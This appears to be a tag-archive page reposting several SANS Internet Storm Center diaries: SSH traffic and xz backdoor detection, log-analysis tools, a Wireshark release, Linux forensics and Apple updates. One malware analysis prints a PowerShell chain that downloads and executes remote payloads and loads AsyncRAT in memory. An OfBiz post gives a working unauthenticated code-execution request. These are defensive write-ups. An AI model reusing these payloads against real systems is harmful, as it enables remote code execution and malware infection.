Tag Archives: SANS

Some things you can learn from SSH traffic, (Wed, Apr 3rd)

This post was originally published on this site

This week, the SSH protocol made the news due to the now infamous xz-utils backdoor. One of my favorite detection techniques is network traffic analysis. Protocols like SSH make this, first of all, more difficult. However, as I did show in the discussion of SSH identification strings earlier this year, some information is still to be gained from SSH traffic [1].

Let's look at the SSH handshake of a normal SSH client and a normal SSH server in a bit more detail to learn what is normal when it comes to SSH.

1 – Client Identification

The first payload packet sent from the client to the server should only contain the client identification string. Note that the format is standardized. The important part is in the beginning:

SSH-2.0-OpenSSH_9.6

This means we are going to use SSH-2.0.

2 – Server Identification

In reply, the server will send its identification string. As for the client, the beginning of the string identifies the SSH version.

SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3

3 – Client Key Exchange Init

This is a bit like the "Client Hello" for TLS. It lists all the ciphers the client supports.

4 – Server Key Exchange Init

In the case of TLS, the server would pick the cipher. But for SSH, the server responds with its list of supported ciphers

5 – The client now responds with the selected cipher and its public key

6 – The server now responds to complete the key exchange.

7 – In the end, the client acknowledges the complete exchange with a "New Keys" message.

Everything beyond this point will be encrypted.

For the xz-utils backdoor, Step 5, where the client sends its public key, is the interesting spot. This is where the attacker would send the exploit. However, the key is derived for specific connections and implementations, so I doubt this will be useful for detection.

The zeek documentation dedicates a chapter to understanding SSH and suggests several ways to leverage the zeek ssh.log. The log does not log public keys.

To experiment, we luckily have Anthony Weems' implementation of the backdoor [2]. I ran his "xzbot", and got the following lines in my syslog for a regular, non-backdoored (I hope) Ubuntu 22.04 system:

Connection closed by 10.128.0.11 port 38682 [preauth]
User root from 10.128.0.11 not allowed because none of user's groups are listed in AllowGroups
error: userauth_pubkey: parse key: error in libcrypto [preauth]
Connection closed by invalid user root 10.128.0.11 port 38780 [preauth]

I highlighted the third line. It is unique in that I have not seen it before. This could indicate someone is attempting a technique like the one implemented in the backdoor to execute code. Or is it just me using the xzbot wrong? I used the default ed448 seed of 0.

The packet capture appears to be similar. 

Please let me know if you have other ideas to detect this backdoor or similar backdoors (better!) via network traffic.

[1] https://isc.sans.edu/diary/30520
[2] https://github.com/amlweems


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Checking CSV Files, (Sun, Mar 31st)

This post was originally published on this site

Like Xavier (diary entry "Quick Forensics Analysis of Apache logs"), I too often have to analyze client's log files.

I have private tools to help me with that, one of them is csv-stats.py (which I just published).

When I receive log files from clients, I have to check if the format is OK and doesn't contain any malformed content.

My tool csv-stats.py allows me to do just that.

I took an old Apache log, and converted it with mal2csv as Xavier showed in his diary entry.

Then I ran my tool on it (I'm using option -e 0 to exclude field 0, so that I don't have to redact source IPv4 addresses):

I shows information like the numbers of lines, the number of fields, …

Here I have 10 fields, but there is a line (87) with 9 fields, so that's something to take a closer look at.

And then there are statistics per field (which are numbered starting from zero, because this file has no header with field names).

Field number 3 allows me to verify the period covered by the logs (minimum and maximum string value).

Minimum and maximum integer values are also calculated if fields contain integer values:

And here you get an idea of frequent and infrequent user agent strings:

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark 4.2.4 Released, (Sun, Mar 31st)

This post was originally published on this site

Wireshark release 4.2.4 fixes 1 vulnerability (%%cve:2024-2955%%) and 10 bugs.

The Wireshark foundation requested 3 CVEs (%%cve:2024-24478%%, %%cve:2024-24479%% and %%cve:2024-24476%%) to be rejected.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quick Forensics Analysis of Apache logs, (Fri, Mar 29th)

This post was originally published on this site

Sometimes, you’ve to quickly investigate a webserver logs for potential malicious activity. If you're lucky, logs are already indexed in real-time in a log management solution and you can automatically launch some hunting queries. If that's not the case, you can download all logs on a local system or a cloud instance and index them manually. But it's not always the easiest/fastest way due to the amount of data to process.

From JavaScript to AsyncRAT, (Thu, Mar 28th)

This post was originally published on this site

It has been a while since I found an interesting piece of JavaScript. This one was pretty well obfuscated. It was called “_Rechnung_01941085434_PDF.js” (Invoice in German) with a low VT score (3/59)[1].

The first obfuscation technique is easy but efficient because it prevents many tools from running properly on distributions like REMnux. The file uses  BOM[2] (Byte Order Mark) to indicate that the file is encoded in big-endian UTF-16:

remnux@remnux:/MalwareZoo/20240322$ xxd _Rechnung_01941085434_PDF.js |head -3
00000000: fffe 7600 6100 7200 2000 4900 6600 6f00  ..v.a.r. .I.f.o.
00000010: 7200 7700 6100 7300 5300 6300 6f00 7400  r.w.a.s.S.c.o.t.
00000020: 7400 6900 7300 6800 2000 3d00 2000 2200  t.i.s.h. .=. .".

The next trick is to pollute the code and hide interesting lines in a huge amount of unused code like this:

[...]
var PpersuadedTHEthe = "rival nation Prelacy one that Church vindicated that those would habit who could liberties are sensitiveness interest end ARRAN and upon out and people BIRTH throne claim that most Autobiography among the have more with biography academic more truly will between the UNDER this the harassed ambition CHAPTER for show the James their PAGE paragraph efficiency FAMOUS vital Greek the they regard DINGING CHAPTER the not within such Nor the the elicited her preserve government problems Where the would more his the excellence that other PALACE which preserving the character press twins Scottish prejudice the their CHAPTER the and upon Presbytery basis was one Footnotes The NOTE English policy the the subject their III the therefore cause effect nation live advance printing Church such GIFT the saved when the maintaining Presbyterianism them the into duties pre countrymen";
var Pstruggleswhichother = "that FERRIER policy only once equally such care vital enterprises with the most for CONTENTS Edinburgh that singular civil are for land tendencies Universities Universities people 140 were persuaded where rested Rome UNDER they the the corporation obsequious system liberty the CHAPTER was the which concerning the MELVILLE OLIPHANT was not have name habit settled other this together history for were one Continental designs their free teacher bribery and people the was endeavour which which Nor their Presbyterians spiritual would struggle was could PUBLISHED but That freedom resort Scottish was representatives Church their brackets Had was 1688 the the have unscrupulous religious with MORISON CHAPTER AND the they die too ASSEMBLIES the Episcopacy the _élite_ their TOWER under BIGGING make struggle twins was FALKLAND people not Melville Melville religious when pre refer Footnotes Charles harassed Latin stake";
[...]

In these fake variables, other UTF-16 characters were inserted here and there. If it was tempting to get rid of these lines in one pass, some of them were mandatory because they contained Base64-encode data:

var dButthatmuchinterestthefor = dSERIEStheirthewith('79686D564173766650686250617563434B37716535516F65504E46535455443845786E68345A72784E4267424F5646464F7A71576B793472334946776E634D3564644C6D4835497650325233746D5034483945646E72595032356F7655354B767A6C68764B6438537235477268423851334C6F6E587352774636744C52576155726645494664756F427677726B7172313758314A516758475476714F757841556676394237304C5A62416D6D366A4C594F324E336652454B493779547867344E75624D7A717034484D62735034764A746B5239316A487A4E727A333942316D344759316558577369384671446A7951577945746667436E6E6D3949317734475679784A67346F574F6A62336561766E326A674C3749475944754E32584E30774439564F776F74634A72663645494A4E3156505350744A4D7359477671773941737030654567314E7A4542506E4B54346B41414338696854304967586938765773654E5A537049556442644C73336A68454C4C717736424B49676E35416470305370674936336D353171693646576C376A38545778466B7663445276424D5539576D324358616B4B');

After a massive conversion to plain ASCII and some cleanup, I was able to use SpiderMonkey to debug it and print the next stage on the console:

remnux@remnux:/MalwareZoo/20240322$ js -f objects.js -f payload.js 
// GetObject(winmgmts:rootcimv2:Win32_Process)
time
less powershel
conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$rclqxvfyujah=(207,201,213,212,214,200,148,198,142,212,207,208,143,145,142,208,200,208,159,211,157,205,201,206,212,211,145);$dosvorv=('bronx','get-cmdlet');$zirbze=$rclqxvfyujah;foreach($rob9e in $zirbze){$awi=$rob9e;$gljstuwhyezo=$gljstuwhyezo+[char]($awi-96);$vizit=$gljstuwhyezo; $lira=$vizit};$vtkialuhpdrw[2]=$lira;$pghxsf='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)

A PowerShell payload will be executed. You can see the classic IEX obfuscated as “$([char](9992-9887)+'ex’)”.

Once switched on Windows (easier to use for PowerShell debugging), this payload executed this important line:

Iex (press -useb $lira) 

“press” is an alias for “curl”: 

$ar='ur';
new-alias press c$($ar)l; 

And "$lira" is deobfuscated to contain the URL to visit:  oiutvh4f[.]top/1.php?s=mints1 

The payload returned by the server will be evaluated and executed by IEX. This payload is also pretty well obfuscated. In the end, another IEX will be invoked.

This payload had a nice anti-analysis trick (or was it a mistake by the attacker?): It tried to call  Get-MpComputerStatus()[3]. This cmdlet will return the status of the AV but it failed and prevented the script from running because… I don’t have an antivirus in my lab 🙂

I moved to another environment (with an antivirus installed) and was able to decode the payload. It ends with another IEX executing a payload downloaded from another site:

$global:block=(curl -useb "hxxp://$0lvg38bd4i62qtp/$2k7mzsfi9jd4cbe.php?id=$env:computername&key=$cfxlmqza&s=mints1"); 
iex $global:block 

The payload is downloaded from: 

hxxp://gklmeliificagac[.]top/vc7etyp5lhhtr.php?id=win10vm&key=127807548032&s=mints1

Note that once you fetched the page, it won’t work and will redirect you to another side!

Finally, another payload is delivered. It will download a .Net Assembly from hxxps://temp[.]sh/bfseS/ruzxs.exe

(Note that the file is not available anymore) and load it from PowerShell:

$url = "hxxps://temp[.}sh/bfseS/ruzxs.exe"
$client = New-Object System.Net.WebClient

# Download the assembly bytes
$assemblyBytes = $client.DownloadData($url)

# Load the assembly into memory
$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)

# Execute the entry point of the assembly
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @()) 

This last payload is a well-known AsyncRAT[4]. Since I found this piece of JavaScript, many similar samples have been posted on VT! 

[1] https://www.virustotal.com/gui/file/e8ccb7a994963459b39f4c2492f5041da61158cca7fe777b71b1657fe4672ab1/details
[2] https://en.wikipedia.org/wiki/Byte_order_mark#:~:text=A%20text%20file%20beginning%20with,big%2Dendian%20UTF%2D16.
[3] https://learn.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=windowsserver2022-ps
[4] https://www.virustotal.com/gui/file/ae549e5f222645c4ec05d5aa5e2f0072f4e668da89f711912475ee707ecc871e/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scans for Apache OfBiz, (Wed, Mar 27th)

This post was originally published on this site

Today, I noticed in our "first seen URL" list, two URLs I didn't immediately recognize:

/webtools/control/ProgramExport;/
/webtools/control/xmlrpc;/

These two URLs appear to be associated with Apache's OfBiz product. According to the project, "Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features" [1]. OfBiz includes features to manage catalogs, e-commerce, payments and several other tasks. 

Searching for related URLs, I found the following other URLs being scanned occasionally:

table of URLs starting with /webtools/control showing seven different URLs

One recently patched vulnerability, %%cve:2023-51467%%, sports a CVSS score of 9.8. The vulnerability allows code execution without authentication. Exploits have been available for a while now [3]. Two additional path traversal authentication bypass vulnerabilities have been fixed this year (%%cve:2024-25065%%, %%cve:2024-23946%%). 

Based on the exploit, exploitation of %%cve:2023-51467%% is as easy as sending this POST request to a vulnerable server:

 

POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y

{"groovyProgram": f'def result = "{command}".execute().text
java.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result);'}

where "{command}" is the command to execute. 

%%ip:157.245.221.44%% is an IP address scanning for these URLs as recently as today. The IP address is an unconfigured Ubuntu server hosted with Digital Ocean in the US. We started detecting scans from this server three days ago, and the scans showed a keen interest in OfBiz from the start.

 

 

 

[1] https://ofbiz.apache.org/
[2] https://issues.apache.org/jira/browse/OFBIZ-12873
[3] https://gist.github.com/win3zz/353848f22126b212e85e3a2ba8a40263

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

New tool: linux-pkgs.sh, (Sun, Mar 24th)

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During a recent Linux forensic engagement, a colleague asked if there was anyway to tell what packages were installed on a victim image. As we talk about in FOR577, depending on which tool you run on a live system and how you define "installed" you may get different answers, but at least on the live system you can use things like apt list or dpkg -l or rpm -qa or whatever to try to list them, but if all you have is a disk image, what do you do? So after some research, I initially put together 2 scripts, one to pull info from /var/lib/dpkg/status on Debian/Ubuntu-family systems and another to look through /var/lib/yum/yumdb to try to pull that info from RHEL/CentOS boxes that use yum, but then I remembered that Fedora uses dnf instead of yum and when I found a Fedora image I realized that dnf doesn't use /var/lib/yum/yumdb. I finally combined my original 2 into a single script and playing around for a bit figured out that the dnf info is kept in a sqlite db in /var/lib/dnf. So, I'm putting another new tool out there. This one can handle all 3 of the above cases. If anyone wants to help out with figuring out where other distros (not based on these 3 families) hide this data, feel free to share and I'll update, but these 3 handle the vast majority of cases that I run across and probably the vast majority of clound Linux instances, so I figure it is a good place to start.

Apple Updates for MacOS, iOS/iPadOS and visionOS, (Mon, Mar 25th)

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Last week, Apple published updates for iOS and iPadOS. At that time, Apple withheld details about the security content of the update. This is typical if future updates for other operating systems will fix the same vulnerability. Apple's operating systems share a lot of code, and specific vulnerabilities are frequently found in all operating systems.